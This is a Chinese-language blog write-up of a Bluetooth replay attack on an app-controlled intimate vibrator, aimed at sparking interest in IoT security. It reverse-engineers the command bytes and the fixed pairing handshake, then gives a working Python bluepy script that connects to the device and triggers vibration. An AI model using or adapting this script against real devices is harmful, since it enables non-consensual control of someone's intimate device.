爱无惧距离,记一次对智能跳蛋的入侵
拥尔智能跳蛋
该产品就不多做介绍了,大家知道就好,详见官网:
研究目的
通过脚本实现对跳蛋的远程控制。
分析过程
该跳蛋的“玩法”如下,并预设了6种震动模式:定位到com/makerx/toy/activity/ShakeActivity类的相应代码段。
进一步逆向,可拿到各模式所对应的震动指令。以“自动模式”为例,它的控制指令为{91,127,48,-113,48,-97,48,-81,48,-65,48,-49,48,-33,48,-17,48}字符数组,换算成16进制即“5b 7F 30 8F 30 9F 30 AF 30 BF 30 CF 30 DF 30 EF 30”,抓取的BLE包也验证了这一点。
在理解它的震动原理后,尝试直接向Handle 0x000B 发送{5b,7F,30,8F,30,9F,30,AF,30,BF,30,CF,30,DF,30,EF,30}字节数组,进行重放,看是否能够震动起来。
- 通过kali linux 和蓝牙适配器,模拟蓝牙栈,连接智能跳蛋;
- 使用char-write-req命令,向0x000B AttHandle发送相关震动命令,然而却并没有任何反应。这里猜测在前面存在一个绑定的过程,于是需要把这个环节也弄清楚;
- 重新对蓝牙的数据包进行分析,注意到是在写入以下信息后,才有Notify返回;
- 于是,进行重放时,还需要将这些信息也一起写入。否则,跳蛋设备不会响应我们所发送的控制指令。找到bluepy这个项目并安装,根据其下的btle.py脚本做简单修改,即可实现一个小程序,实现对跳蛋的远程控制;
- 运行该脚本,成功控制跳蛋震动(通过更换指令,还由其他模式可以选择)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24def hackFlow(conn, address):
conn.waitForNotifications(2)
conn.writeCharacteristic(0x000B, "\x01\x03\x02\x04\x06\x05", True)
conn.writeCharacteristic(0x000B,"\x5F\x0A",True)
conn.writeCharacteristic(0x000B,"\x6C",True)
conn.waitForNotifications(2)
conn.writeCharacteristic(0x000B,"\x5b\x7F\x30\x8F\x30\x9F\x30\xAF\x30\xBF\x30\xCF\x30\xDF\x30\xEF\x30",True)
if __name__ == '__main__':
#if len(sys.argv) < 2:
# sys.exit("Usage:\n %s <mac-address> [random]" % sys.argv[0])
#if not os.path.isfile(helperExe):
# raise ImportError("Cannot find required executable '%s'" % helperExe)
print("connecting...")
devAddr = getAddress() #sys.argv[1]
addrType = ADDR_TYPE_PUBLIC
time.sleep(1)
conn = Peripheral(devAddr, addrType)
try:
hackFlow(conn,devAddr)
print("vibering...")
finally:
print("disconnect...")
conn.disconnect()
总结
以上便是对拥尔智能跳蛋的一次重放攻击的完整过程,虽然只有10米左右的覆盖范围,但个人还是觉得蛮有意思的,希望能够建立伙伴们对物联网安全的兴趣。。
------ 本文结束 感谢阅读 ------